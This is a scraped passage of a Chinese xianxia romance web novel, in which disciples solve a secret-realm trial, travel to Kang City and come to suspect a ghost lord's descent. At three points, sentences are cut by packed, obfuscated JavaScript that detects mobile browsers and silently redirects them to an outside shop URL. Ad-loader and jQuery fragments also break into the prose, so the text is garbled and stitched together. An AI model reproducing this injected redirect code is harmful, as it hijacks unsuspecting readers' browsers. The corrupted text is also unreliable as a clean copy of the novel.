35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659281|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 通常事情进展一顺利,谢扶光就得很认真地反省,自己究竟哪一步做错了。 【很遗憾,三号投影青石“吉竹”非此化影境主人。】 金字抖擞着啰嗦的笔画,公布他们的第一个选择为错误答案。 “哦,那肯定就是三十六号了。”宁磐迷之自信。 谢扶光在这间隙里静静复盘: 已知化影境主人的身体会交由灵物控制,而且灵物中死物居多,他们也确实是按这个标准筛选的,到这儿都没什么问题,除非…… 【很遗憾,三十六号投影青石“廖溯”非此化影境主人。 各位弟子,你们已用掉两次选择机会,最后一次还望慎重。】 “啊,怎么会?”宁磐叫嚷起来,“我们刚刚筛人时,检查了好几遍的,难道还有漏的么?” 他不信邪,就要再重新找一圈。 “先别找了,”谢扶光出声,“也不排除我们从一开始思路就错了。” “刚刚我一直在想,螭寐既说与此境主人有些渊源,他大概是一早就知道我们要进的秘境中会设置什么关卡,三号和三十六号这两个答案都是我们在最易想到的常规思路下得出,而螭寐的神色那般轻松,想来是笃定这个路子行不通,甚至这两人或许就是他特意安排来迷惑我们的。” 谢扶光有些自责,既进入了秘境,就该将其他忧思放一放,若非心头始终被谢白扇的事搅扰,她不会这么草率就浪费掉两次机会。 她恹然垂首,刚轻点过她眼皮的冰凉触感卷土重来,这次崔惊厄的指尖抚上了她的眉头。 “皱什么眉啊大小姐,”崔惊厄声音里含笑,“不是还有一次机会么?下次猜对不就行了?” 他的轻巧稳住了谢扶光几乎蔓开的懊恼。 说话时他们其实挨得没有太近,指尖抚眉头的动作也是浅尝辄止,话更是没什么暧昧之处,但互通过心意的人整体氛围就是很不一样。 除去宁磐还在纠结“小爷我怎么可能错”和“螭寐不是大魔头么,怎么听起来跟你们挺熟”,其余几个都不是没经过风浪的,金字浮现出结果后,短暂挫败了几息,就立刻调整了心态。 黎暨甚至还分出几分闲情,凑到舒扬舟那儿上眼药:“舒兄,你觉不觉得咱师妹跟崔兄两个人怪怪的?”他一副不得其解的困惑。 舒扬舟眼皮一翻,露了个大大的眼白给他:“首先,跟你说过多少次了,那是我师妹。” “其次,”他眼皮又是一翻,这次的眼白露给了崔惊厄,“不然你以为那姓崔的嘴是怎么破的?我啃的么?” 话说到这份上,黎暨总算恍然,嘴张成拳头大小,惊奇的却不是两人突然开始的感情,而是…… “师妹这种铁树都能开花?!!!!!!” “闭嘴吧你,”舒扬舟从后扒拉着黎暨转身,两人背对谢扶光,“最后一件事,你那个什么魂火的符……” “业火焚魂?” 舒扬舟颔首:“给她之前,先给我一张。” “我说舒兄你一把年纪了,怎么还跟师妹一样胡闹?”黎暨拍开他手臂,烦躁地搔了搔头。 “你也说了,用那什么魂火符除邪气,此前还没人这么试过,水深水浅,我这做师兄的总得先替她蹚蹚。” 57.李兰允 “舒扬舟!” 两人正低声密谋,就听到谢扶光叫人。 被叫的挺淡定,旁听的黎暨却以为奸情败露,腾一下转过身,就差把“此地无银三百两”写在脸上。 “你们在说什么?”谢扶光果然起疑。 “大人的事你少管,”舒扬舟拧着眉把黎暨往旁边推了推,转移话题,“连师兄都不叫了,真是越来越放肆,仗着有别人撑腰了?” “我的腰我自己会撑!明明是我先叫了两声师兄你都没听见,”谢扶光视线在他和黎暨之间兜转两个来回,不知猜没猜出点门道,但最终什么都没说没问,只道,“我有了个新想法。” “刚刚我们从常规思路尝试筛选答案,遗漏了一个特殊情况。”她说,“如果有其他的魂魄也住进了境主人的身体,并在与灵物的博弈中取胜,抢到身体的控制权,就不会局限于我们最开始分析的那两种情况了。” “有道理!”大小姐发言,卢笑绒第一个捧场。 “确实有那么一点……”宁磐默默在她后头加了个一。 “若真是这样,那个魂魄可以做出各种行为,毫无章法可言,混在四十九面投影青石之间,实在太难找了。”舒扬舟环视一圈,只觉密密麻麻,头疼得厉害。 “没那么多。”崔惊厄开口,众人期待他能发表什么高见,却只等到一句,“刚刚不是排了两个么?现在是四十七。” 众人:…… “别闹了。”谢扶光轻声点他。 崔惊厄这才笑了笑:“开个玩笑嘛。” 他清清嗓子:“我是想说,这种情况也并非无迹可查。人的躯壳空间有限,两个魂魄一个灵物挤在一处,总归太逼仄了些。每个魂魄的空间遭到压缩,反映到生理上,势必会存在诸如容易头疼头晕、四肢乏力等问题,况且新进的魂魄需时刻与灵物争夺身体的控制,免不了会有疏漏时,境主人身体可能会做出某些割裂的举动。” “但这些反应,包括我提到的新魂魄控制身体的可能性都只是基于推测,仅可作为参考,”谢扶光补充,“最好大家还是能集思广益,堵全思路上的漏洞。” 她说完有片刻怔愣,仿佛昨天她还只习惯单独行动,从不与人交流,真没想到有朝一日竟提议大家共同合作。 卢笑绒顺着想了一条,她看向宁磐,温和问道:“你记性好么?” 宁少爷挺挺胸脯:“也就过目不忘那程度吧。” “你说你曾去过留春馆一次,”她接着问,“那你还记不记得见过的面孔?” “既然化影境中人身体定格,不老不死,无坚不摧,他应当活得很久、容貌也没太大变化才对。” 分辨有无见过的面孔,就意味着要仔细观察,宁磐扫了眼投影青石上一张张不堪入目的人脸,有点反胃的为难。 但卢笑绒眨着澄澈的眼,朝他展开了一个相当温和友善的微笑,偏偏他最受不住被人顺毛,面目扭曲了一会儿,终究咬牙应了下来。 “不过有件事我得说明,那日我也就仓皇间扫了一眼,没见到几张正脸。” “有总比没有好,碰碰运气嘛。” 听到“运气”二字,舒扬舟往旁边避开半步,他环顾一圈,见大家一时都没有了其他思路,便向谢扶光和卢笑绒一人交代了七八个投影青石的号码:“这些都是青石里画面还比较宜人的,留给你们筛了,我们负责剩下的。” 黎暨揉了揉胃,哀叹一声:“早知道有这刺激,我晨起就不该吃东西。” 众人分头行动,虚空中无味的香也袅袅自燃。 一炷香燃尽,谢扶光检查完自己负责的那部分,一无所获。 她看向其他人,他们也都微锁眉头,不做言语。 两炷香燃尽,谢扶光和卢笑绒互换了目标,又一一仔细观察好久,依然什么都没发现。 倒是宁磐挑出一个十四号,称青石中人面熟,他应是见过。 第三炷香很快燃得仅剩了一个尾巴尖尖,宁磐逮着堪比救命稻草的十四号一个劲儿地盯,恨不得从中解构出“故人”身影,口中振振:“嗯……整体气质很像,眉眼也没怎么变,上回我被骗进去是五年前,这么久不见,似乎也不见老?” 他越看越熟悉,觉得自己都要被说服了。 舒扬舟怎么看都觉得他不太靠谱,他环视一圈,其他人却都不吱声。 “啧,既都没看出什么,就赌一把十四号吧。” 他转身向飞来石走去。 在这一霎,谢扶光心脏骤然疾速跳动起来。 全然下意识的,她偏头朝第二十面投影青石看去。 青石中正是那位主动揽客的白衣象姑,与上次看时相似,他依旧在腆颜求欢,只是眼中少了那一晃而过的悲哀,此刻正散发着奕奕神采,谢扶光却觉没了灵魂。 她看去时,白衣象姑正挂着抹腻人笑容,将一截粗麻绳交给他刚揽来的恩客,示意对方将他绑起来。 白色广袖顺小臂滑落,露出一截瘦弱到堪称伶仃的苍白腕骨。 飞来石前,舒扬舟注入灵力,金字紧跟着浮现。 【告诉我你的答案。】 与此同时,谢扶光盯着那截手腕,瞳孔遽震。 她仓皇转头,赶在舒扬舟开口前道:“二十!” “是二十号!” 金字没有听她的话,飞来石中注入的是舒扬舟的灵力。 【渡业山舒扬舟,请告诉我你的答案。】 舒扬舟回头看她一眼,谢扶光正要解释自己所见,却听他毫不犹豫开口:“就二十。” 飞来石再度陷入磨人的螺旋,晕乎乎地陪他们等待金字的审判。 一圈,两圈,三圈…… 所有人心脏加快加重的跳动中,飞来石转到第三圈半,比金字先来的,是半空一朵绚丽烟花。 【恭喜渡业山舒扬舟,回答正确。 全员进入下一道关卡。】 歘欻欻欻欻—— 五颗脑袋齐齐望向谢扶光,后又顺着她视线看向第二十面投影青石。 青石最上端以行楷小字刻着境主人的姓名——李兰允。 黎暨看了一会儿,没忍住别过头骂了一句:“螭寐这王八蛋……” 他就说怎么有人那么不要脸,原是躯壳里被螭寐注进了别的魂魄。 投影青石一面面隐去,四周复归漆黑,又等了几息,空中降下一颗拳头大的骰子。 【下一道关卡需尔等自行前往留春馆,见到境主人李兰允后方可完成。 初始传送点由你们中的一人掷骰子决定。 万里悲丘在西华洲共设有传送点三个,点数越大距目的地留春馆越近,若一日内不能抵达留春馆,未见到境主人,将判此秘境通关失败。 各位弟子,祝你们好运。】 提到“好运”二字,渡业山一对师兄妹自动让贤。 余下三人谦让了一会儿,最终宁磐自告奋勇:“让我来,少爷我从小到大运气都是出了名的好!” 正巧卢笑绒的鼻子时已恢复,鉴定他没问题,便解开了他双手的束缚。 宁磐转转脖颈,又绕了绕手腕,仪式感做足,昂首挺步向前,先支起一根食指顶着那骰子耍了个帅,而后指尖轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678137|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻一拨,随骰子从他指尖跌落,空中较低处骤然浮现一道无形平面,接住了那骰子,玉质骰子骨碌碌翻转十余次,击出一串脆生生的泠音。 众人眼巴巴的注视下,骰子很争气地就要落在最大的六点,舒扬舟这辈子头一遭享受到好运红利,爽快地要鼓掌。 哪知他的霉运之掌才拍响那么一声,原本就要落稳的骰子在一股不明衰力的影响下,展现出令人心碎的矫健,“吧嗒”一声,又往回翻了一面,最终落在了一。 舒扬舟低头看着罪恶之手:…… 宁磐转头看着舒扬舟:…… 长久无言。 多稀奇,倒霉都倒出了神力。 “我……对不住各位。”舒扬舟讪讪摸了摸鼻子。 各位……各位还在震惊中,一时没缓过来。 【初始传送点已确定完毕,你们即将被传送至——滇绥沟。 为防止弟子们随意活动,破坏试炼秩序,一路你们将以隐形状态存在,抵达留春馆所在康城,方可现形。】 “滇绥沟在哪儿?”黎暨问宁磐。 宁磐面色既复杂又迷茫:“这是西华洲的地界么?我怎么没听过?” 滇绥沟还真是西华洲的地界,只不过有亿点点偏。 抵达传送点后,他们手上就多了张西华洲舆图,他们所在的位置被标红——位居西华洲至南的一处山沟沟,距离留春馆所在的繁华康城大概也就……西天取经那么长。 “原本还以为能带你们去我药王金殿看看,”宁磐很失望,“现在又是透明人,又得赶时限,算是不成了。” “你想邀请我们做客啊?”黎暨听了还挺感动。 他对这直心眼小少爷不讨厌,原先没他时,他自己稳坐最底层食物链,宁磐一来,他都跟着升了一级。 没想到哇,谢扶光先是划手,后是绑人,宁磐非但不记仇,还当他们是能带回家做客的那种亲密朋友,黎暨还挺感动。 然而宁少爷下一句就说:“主要我师父说了,有财就得外露,毕竟没有人会一直富有,现在不露,以后想露时可能就没了,懂么?” 黎暨穷鬼摇头:“我们宗门的财力没给我懂这些的机会。” “再废话就要出局了,”“大家长”舒扬舟看着这群不着四六的玩应,额角直突突,“从这儿到康城的距离,我们就算御剑,两天两夜也未必够,除非有摆渡天船,不然指定赶不过去,有人能弄到船么?” 黎暨看向宁磐,后者咕哝一句:“我要是有机会回药王金殿,指定能,光后院就停着好几架呢……” “也不一定非得要船。”谢扶光却说。 众人齐刷刷看她,但见崔惊厄拍拍藏蛟:“小美人,到你出来拉风的时候了,痛痛快快跑着玩一趟吧。” 他们之间只有宁磐不知小美人,抻着脖子问:“小美人是哪位?还有,拉风不是放屁的意思么?崔道友,让美人放屁,你可真是不斯文……啊啊啊啊啊啊啊——” 话音未落,小美人龙啸着闪亮登场,它这回化的形比三十尺摆渡天船还长,一出场就很记仇地用血盆大口跟宁磐打了个照面,在宁少爷笼罩在巨龙震惊中时,又狗一样在谢扶光和崔惊厄怀里依次蹭了蹭,最终趴伏在地,温顺地等着几人爬上它的背。 “说说吧,刚才为什么临时改了答案?”小美人腾上九霄后,舒扬舟在猎猎风声里问。 “进入秘境前,螭寐借用江星的身体,曾对我们说,他与秘境主人有些渊源。”谢扶光娓娓道来,“当时我们都以为这渊源存在于螭寐与境主人李兰允之间。” “其实不然。” 58.符箓试验 “螭寐应当只是参与了后来对李兰允的折磨,”谢扶光说,“真正与他能称上一句渊源的,其实是江星。” “被剥魂夺壳前的江星。” 投影青石中,李兰允广袖滑落,无意露出手臂上一道兰花刺青。 “那刺青很独特,比正常的兰花纹样少了一部分,看起来像是没有刺完,而我曾在江星的剑柄上也见过同样图案。” 舒扬舟静静消化一会儿,突然问道:“江星若还活着,今年该多大?” 他虽是剑修,却自幼归谢白扇管,不凑剑宗的人头。说起来,谢白扇是刀剑双修中难得能将两样都做到极致的修士,真正的天纵奇才。 “十九。” “江星今年合该十九,李兰允的化影境也存续十九年,二者都是十九,会不会有什么联系?”舒扬舟猜测。 一旁宁磐插话进来:“我猜李兰允可能是江星的爹!” “李兰允八成是留下了子孙后代,自觉孝道已全,所以慷慨地舍身踏上了这条艰难的路。”经历过失败后,宁少爷自信依然,越说越觉有理,还严谨地圆上瑕疵,“至于两人一个姓李一个姓江,大概是父亲对孩子的一种保护,可怜天下父母心啊。” “事实如何,等见到李兰允就知道了。” 谢扶光不想猜,提到江星她就想起那年江星兴冲冲来找她,她却没有给出好脸色,心口堵得慌。 蛟龙一跃九万里,小美人比摆渡天船快出不止几十倍,边走边玩也仅用两个时辰便盘旋在了康城边缘。 落地时还没尽兴,小美人想再多玩一会儿,一条巨龙扭动着硕大的身躯绕着崔惊厄蹦跶撒娇,造出的动静不亚于沙尘暴。 “大小姐,你管管它。”崔惊厄当了太久慈父,制不住这个逆子。 谢扶光只觉他朝自己扔了个烫手山芋,皱着眉头命令:“小美人,回去!” 小美人还没动静,崔惊厄没忍住先笑了,他笑时胸腔发出闷闷的震鸣,月下谈情那晚,谢扶光曾贴耳听过。 “大小姐,哪有你这么管孩子……不是,那个……我是说你这句管的还不如凶我时有气势呢。” 谢扶光垂头,果见小美人半分没被震慑,还耍着滑头嗷呜一声,蹭着她扮起可怜来。此龙演技卓绝,眼眶里还真让它挤出一层水雾。 “你,你别哭了!” 谢扶光一个头两个大,她伸手摸了摸小美人的头,看着这只熟悉的手,莫名就觉得它有那么点空。 她找到自觉最空的地方,是那根无名指,思绪定在此处,不由又记起初见小美人那次,它在她指间缠绕成了一枚戒圈。 于是她说:“你如果还想在外面玩,需要很乖,听我的话。” 小美人眼泪汪汪一个劲儿点头,乖得不行。 “你现在太大了,在城内现出形体会吓到人。”她又说。 小美人闻言,把身体缩小到一米。 “还是大,”谢扶光伸出手,有点迟疑地问,“你喜欢在我手指上待着么?” 小美人脑袋高兴地扬起,在欢快的叫声里把自己绕在她那根熟悉的无名指上。 谢扶光这回再看,手上那点空总算散了。 崔惊厄在旁安静看着,觉得这一幕有种隐隐的熟悉,可惜不存在于他现在的记忆。 不过终有一日,待解决了此间麻烦事,他定要想法子把他与大小姐的过去拿回来。 直觉告诉他,那一定是段相当美丽的曾经。 “一旦进入康城,我们就要现形了。”谢扶光拇指指腹轻轻抚摸着无名指上的小美人,说回正事,“我猜测螭寐在留春馆周边必有布置,我们最好先别进城,在外做些准备。” 说到这儿,她诡异地停顿一霎:“时间不多,我们分成两组行动吧……” “也好,那这样,崔兄,你带着我师妹,还有宁、卢两位道友走,我跟黎兄一道。” 舒扬舟截住她的话,说完分组,就紧着拍屁股走人。 “这就走了么?还没说两组分别要干什么呢。”卢笑绒弱弱提醒。 “啊那个……”舒扬舟也不知道要干什么,他只是想把黎暨和谢扶光分开,卡了个壳,他把皮球踢给崔惊厄,“我与崔兄已经商量过了,你们那组由他来安排。” 崔惊厄:扭头,指自己。 “安排了……么?” 谢扶光站出来:“师兄,他好像忘了,要不这一组你来指导吧,我跟黎兄走。” “不行,你别胡闹!”舒扬舟板起脸。 “既然黎兄这么香饽饽,那我们干脆一起。”谢扶光说着朝他们那边走去,没有回头,只左手掌心向着崔惊厄挥了挥,示意心声联络。 其实没什么要准备的,谢扶光提出分组,只是想和其他人分隔开,她始终惦记着体内不干净的东西,若真有监视作用,鸡蛋总不能碎一个筐里。 两组南北分开,分别找落脚处。 他们现在身体隐形,只彼此间能互相看见,随便窝在个犄角旮旯就很方便。 然而短短一路对黎暨而言,还是极其漫长。 他左边走着舒扬舟,不时动动脖颈;右边走着谢扶光,间或松松骨节。 双方都一副准备打架的架势。 黎暨头回当“香饽饽”,夹在两个臭脸之间,简直要荣幸哭了。 从上一关看见舒扬舟和黎暨狗狗祟祟密谋,谢扶光就猜测两人之间有什么勾当,一落地舒扬舟就迫不及待单独把黎暨拐走,她还有什么不明白的。 她想:八成是黎暨这个嘴松的,表面亲热叫着“师妹”,转头就在多年好友面前把她卖了。 舒扬舟同样把账记在了黎暨头上,觉得一定是这个狗重色轻友,偷偷告诉了师妹他的计划。 黎暨两边挨着眼刀,简直要冤死了。 “老规矩?赢的试那张符。” 随便找了道边一家客稀的客栈,他们进到一间空房,谢扶光开门见山打明牌。 渡业山的规矩是:遇事不决动手解决。 两方争执不下时,打一架,谁胜了听谁的,既公平,又能倒逼弟子们精进技艺。 舒扬舟烦躁地捏了捏眉心:“我说师妹,你好歹也是下过许多次山的人,为人处世要知变通,这弹丸大的地界,你要挥你那大刀?” “那你说怎么办。” 谢扶光不爱听逆言,尤其是她师兄扬着下巴一副欠样说的逆言,但她环顾一圈逼仄的客栈房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701702|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可恶,他说的还挺有道理。 舒扬舟朝她挥挥拳头:“另一种老规矩,猜拳吧。” “怎么猜?”很遗憾,这些年谢扶光在谢白扇的变态管理下,没参与过这种活动。 舒扬舟满头黑线传授了她游戏规则,然后……就教会徒弟饿死了师父。 谢扶光连赢三局,真不知她师兄这衰王本王,哪来的脸提猜拳。 舒扬舟一心嘲讽师妹,忘了霉运这回事,自己造的孽无话可说,唯一的要求是谢扶光使用业火焚魂时他得全程在旁盯着。 黎暨在好友们面前瞧着虽不着调些,拉出去却也是个百年难遇的英才,他既应了嘱托,小美人驮他们飞来康城的一路便都在练习,这会儿已能自如挥洒灵力画符,对着轻尘创的符咒图纹依葫芦画瓢,可将符咒效用发挥出七八成。 “别逞强,若不舒服就立刻撕掉啊。”黎暨苦口婆心嘱咐。 谢扶光接过,她想了想,先将朱颜故赠予的贮存邪气的灵脉卸了,然后才把那枚符箓贴在额心。 身上毫无异样,三人大眼瞪小眼。 黎暨心里有点虚,揭下符箓反复检查,喃喃道:“是我画的不对么?” 但这种可能性很小,他几乎从不出错,而且符箓上分明还能看到灵气在殷红朱砂间丝滑流转,甚至没有任何凝滞处。 舒扬舟接过,二话不说也贴上了自己前额。 同样无事发生。 “看来此法没用,再找找新的吧。”舒扬舟就要将符箓还给黎暨,被谢扶光拦下。 “不一定没用。” 他闻声看去,这才发现她面色有点难看。 舒扬舟只当她是急于求成,一试不成,那股子躁意就又上了眉心。 “不是什么大事,我们再想其他法子就是,你现在脸拉的像马。” 谢扶光意外没回怼什么,她唇抿得微白,缄默地让身体重新与朱颜故送的邪脉产生衔接,而后又把那业火焚魂夺了回来。 舒扬舟只觉师妹像头倔驴,背过身懒得看她; 黎暨则左右为难,两边都是大爷,不知该先哄哪个。 两人注意力都没放在“不信邪”的谢扶光身上,而就在这时,一股滋滋声响起。 竟是业火焚魂起作用了! 几乎瞬息之间,舒扬舟风一样飞扑上前,把符箓从谢扶光前额揭下。 “师……妹?” 仔细听,他尾音带颤,因谢扶光此时状态相当不好。 业火焚魂的滋味儿并不好受,堪列为她有生之年最疼的两次经历之一——另一次是在昨晚,她作大死耍了左手刀。 舒扬舟出手及时,她仅仅疼了几息,但面色已然惨白,冷汗出得像要虚脱。 她靠在舒扬舟臂弯,大口喘粗气,不过她素来能忍,等待余痛消散的时间还能抽出意识检查那根邪脉有没有受损。 发现没什么大问题,她心下稍安,魂也回了小半,剩下大半仍在阴间地狱里堕着,有点不想浮起来面对这诈尸一样的业火焚魂,更不愿思考其代表的意思。 可惜有没眼力见的非把她拽上来。 在她甚至都想闭眼装死的时候,崔惊厄的隔空寄音就在这时打过来。 59.厉鬼 谢扶光眼睛被那复杂江山图闪了下,慢吞吞支棱起来接通。 “大小姐?” “嗯。” 听到这句兴致不高的轻哼,那边短暂沉默了少顷,才说:“刚刚在路边看见山楂糕有卖,方不方便见一面,让小的献个殷勤?” “崔惊厄。”谢扶光不答,只是叫了他一声。 “在呢。” “见鬼了。”弯弯道道她一时懒得解释,只说了这样一句。 这回那边沉默长了些,拖长的时间让情绪变得浓稠。 就在黎暨忍不住要吐槽“你这么没着没边一句,让人崔兄怎么回”时,崔惊厄又开了口。 “见鬼就见了呗,”他笑笑,“我们大小姐这么厉害,你见鬼总该是鬼更害怕才对。等着,我这就带山楂糕来给你助助阵。” 他说完就断了通讯。 两人对话听来毫无营养,一旁两条单身狗还以为被灌了四耳朵私房话。 舒扬舟轻咳一声,看谢扶光没事了,很有分寸地与她拉开段距离。 “还说见鬼,我看你才像鬼,莽得要命,也不看看自己现在什么样。说说吧,刚你是怎么把自己作成这副鬼样的?” 谢扶光脸色确实惨白得厉害,她直起身,依旧满目恹色,但情绪比与崔惊厄说话前有所缓和。 “没作,就是连上了朱颜故给的那条邪脉。”她转头看舒扬舟,露了个苦笑出来,“所以师兄,错的不是法子,业火焚魂还是可以灼去体内妖魔气的。” “那说明我们身上的不属于邪气?”舒扬舟一喜。 “我说师兄,”谢扶光记仇地把他的毒舌还回去,“您那运气,还是别猜得这么喜庆了。” 舒扬舟看着她,再联系那句“见鬼”,品出点不对,面露难以置信之色:“你不会想说,我们身上是符咒也无法去除的鬼气吧?” “不可能,检验厉鬼的法器是师父……”想到谢扶光对谢白扇的怀疑,他改了口,“好,就算你不信师父,可那法器的制作颜琅前辈也有参与,你研习颜琅前辈留下的刀法多年,说他是你半个恩师也不为过,难道他你也要怀疑么?” “我确实不敢信。”谢扶光坦言。 舒扬舟对她的想法不予苟同:“为什么你就那么笃定我们身上一定有问题?难道就不可能是卢笑绒的嗅觉出了岔子么?你就那么信她?” 她是已死过一次的人,为报仇而重生的魂,亲手把刀送进爱人心脏的罪犯,她当然不敢不信。 “那师兄,你又为何那么信谢白扇?”想到上辈子自己很可能被影响了神志,谢扶光问,“那邪气能损人心智,你能保证你对他十成十的信任里,没有被邪气影响的成分么?” 舒扬舟哑口无言,这一点他自己也不是没想过,只是理性与相信谢白扇的本能艰难博弈,念头每动一动都受阻挠,到头来总落得个无疾而终。 谢扶光与他对峙般对视着,她能看见舒扬舟的挣扎,心里也跟着不太好受。 “师兄,”她轻叹一口,“其实有件事我一直没告诉你。” “你不是一直想知道我是如何选的那些秘境么?” 事已至此,也没什么可瞒了,如今这局势,无论是谢白扇的身份,还是可能的厉鬼降世,在离谱赛道上都比她的重生更有分量。 “现在我告诉你,其实我……” 正在这时,房门吱呀一声,崔惊厄提着山楂糕从外进来。 “宁少爷运气不错,遇见了熟人,我托他帮忙买的。”对上黎暨惊异的目光,他解释说。 他们现在的状态,无论身体、衣裳还是接触的东西统统透明,不怪黎暨惊疑,这身体条件能买到东西真有点匪夷所思。 客栈房间置了扇很大的屏风,隔开东西两侧。 “大小姐,”崔惊厄勾勾手,眼神示意屏风另一头,“有话跟你说。” 谢扶光跟过去,刚隔绝了屏风外的视线,她肩背便是一紧。 崔惊厄两条手臂缠紧在她身后,俯首埋进她肩窝,温热吐息蹭着她。 “我们大小姐真是辛苦了。” 类似从冰天雪地里骤然走进一间暖房,谢扶光被他这一抱,浑身汗毛都乍暖还寒地竖了竖,又随着一呼一吸缓慢回落,褪成麻酥酥的痒。 她突然就有那么点鼻酸。 按道理,她铁板一样活了二十多年,真不该如此。 “你……你怎么会用隔空寄音联络我?”这种感觉又是谢扶光所不熟悉的,让她生出熟悉的无措,她絮语掩饰。 “分开时你暗示会联络我,但是你没有,”崔惊厄的唇贴在她后脑与脖颈相连处,听来有点瓮瓮的震感,“你不是乱给承诺的人,我猜测出了事占据了你的心神,特来问问。” 谢扶光缓过那阵鼻酸,吸了下鼻子:“结果……大概就像我跟你说的那样吧,厉鬼很可能降世了,就是不知道已降世多久,想想怪瘆的。” 他们都没见过厉鬼,就算见过,也是上辈子的事,记忆早随转世没了。 但他们都见过螭寐,也眼睁睁见证过他只抬一抬手,作为修界弟子中佼佼者的轻尘就能被折磨至死。 而螭寐再强,也只是魔尊。厉鬼降世前他能坐头把交椅,但厉鬼一出,他也只能乖乖让席。 因为厉鬼实在是太强了。 他不仅能无门槛、无限制地吸纳妖和魔的邪力,本身更有一个厉鬼境源源赋予他力量,战力强到没有谁能望其项背。 此外,他之所以被妖魔界奉若神明,还有部分原因是他能将已死的妖魔转化为鬼兵供他差遣,从这个角度,妖魔界的黑色力量只增不减。 如今这个悄无声息降世的厉鬼显然很沉得住气,不知这些年已发展了多少鬼兵。 “其实也不必想得那么悲观,”崔惊厄煞有介事拉她过来,似只是为抱那一下,后面的话与大家一起商量为宜,两人出了屏风,他接着说,“在轮回境中,螭寐显然不太愿意对修界出手,如今既然厉鬼可能已降世,那么能压他的是谁就不言而喻了。” “无论厉鬼兄是舍不得修士们的壳子,还是出于别的什么,至少目前看来,他还没要撕破脸的意 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 思。” “而且,大小姐你还记不记得,”他问谢扶光,“农院那天,螭寐还说了句话。” “他说,‘被压了这么久,你们修界的东西,可真怪啊……’” 谢扶光:…… 大小姐很茫然。 那天她一心只想着打架,不比崔惊厄,还有听螭寐放屁的闲情。 “他为什么会说是修界的东西压着他?”谢扶光顺着他的话想,“厉鬼若只是占了修界谁的躯壳,应不至被他称作是‘修界的东西’吧。” “所以我猜,厉鬼在成为厉鬼之前,许是修界中人,至今可能……还对修界留有那么几丝情分?”崔惊厄说,“我能从螭寐神色感受到,他对压着他的那位并不是发自内心的臣服与认同,从前我以为这丝不忿源于一山不容二虎,此刻再想,却更像是不满于对修界过分仁慈的行事作风。” 厉鬼虽是妖魔界的统领,却不见得全由妖魔所化。 其降世分两种。 其中较常见的便是妖魔修至无上境界,靠极致的力量转化而成,这也是螭寐早年一直的追求,可惜还没求出个结果,就被截了胡。 一世不容二鬼,除非上一任厉鬼殒命,否则不会再有第二个。 而另一种降世方法,要求就很难满足了。 死时生魂离窍、一霎怨念冲天、生前修为近神,这三个要素缺一不可,最重要还是选择堕鬼时的一念之差。 多少穷凶极恶鬼,曾是穷途末路人。 因滔天怨念而生的厉鬼,往往比前者更强大。 人心如鬼蜮,他多年游走于人鬼之间,熟悉两者间的边界,也洞悉世间每一处阴暗面,更善于利用这些弱点。 不信你看,天涯何处那场大火为何能把叶放逼死在万里悲丘? 轻尘当年拼了命地向修界求救,又为何只收获适得其反的结局? 只因无关己事,人们都喜欢高高挂之,如有需要,狠狠踩上几脚也是可以的。反正大家拉起手来一起踩,能说谁有罪呢?当然是被踩的就该死。 厉鬼利用人与人间自设的藩篱作遮挡,在各院中疯长藤蔓。 等到藤蔓漫过藩篱长满人间的一日,便是所有冷漠与窃喜、蝇营狗苟与幸灾乐祸自食恶果之时。 “其实我一直不是很理解剥魂夺壳的做法,”崔惊厄说,“妖与魔天生不适宜在修界这等灵气充沛之地生存,况且妖魔性情多急躁,一点点从内部架空修界,有点太过……徐徐图之,很不符合他们一言不合打一场的作风。” “若真是厉鬼降世,这一点便解释得通了。” 厉鬼生的三要素之一,便是死时生魂离窍。 若他也曾被剥魂夺壳地对待过,会这样做就不稀奇了。 “按这种说法,厉鬼应当不是师父,”舒扬舟一直没说话,这会儿终于开口,“师父虽强,却还没到修为近神的境界。” 他说得是事实,谢扶光没有反驳。 “近百年来,修到近神境界的……”她顿了顿,然后轻声说,“就只颜琅前辈一人了。” 60.龙肝凤髓 修界唯一有机会成为厉鬼的能者,制作了可指示厉鬼降世的法器。 一切推断回扣上谢扶光的那句“我确实不敢信”。 如今这世道,安静祥和的表象像飘在海上的浮沫,经风轻轻一荡,就要散得七零八落。 能信谁呢? 一个个惊雷把舒扬舟炸得大脑空茫,但潜意识里一直有个念头,驱使他不能被那两个人的思路牵着走。 他摇摇头,将质疑推回到最初。 “所以崔兄,你也相信厉鬼降世了?” 他是真不知道,为什么短短不到半个时辰,他师妹就得出来这么个离谱的说辞,偏崔惊厄还轻飘飘就接受了,很难不让他怀疑是恋爱脑的力量。 “我信。”崔惊厄轻啧一声,“别用那种眼神看我,好像我思想被荼毒了脑子发昏一样。” 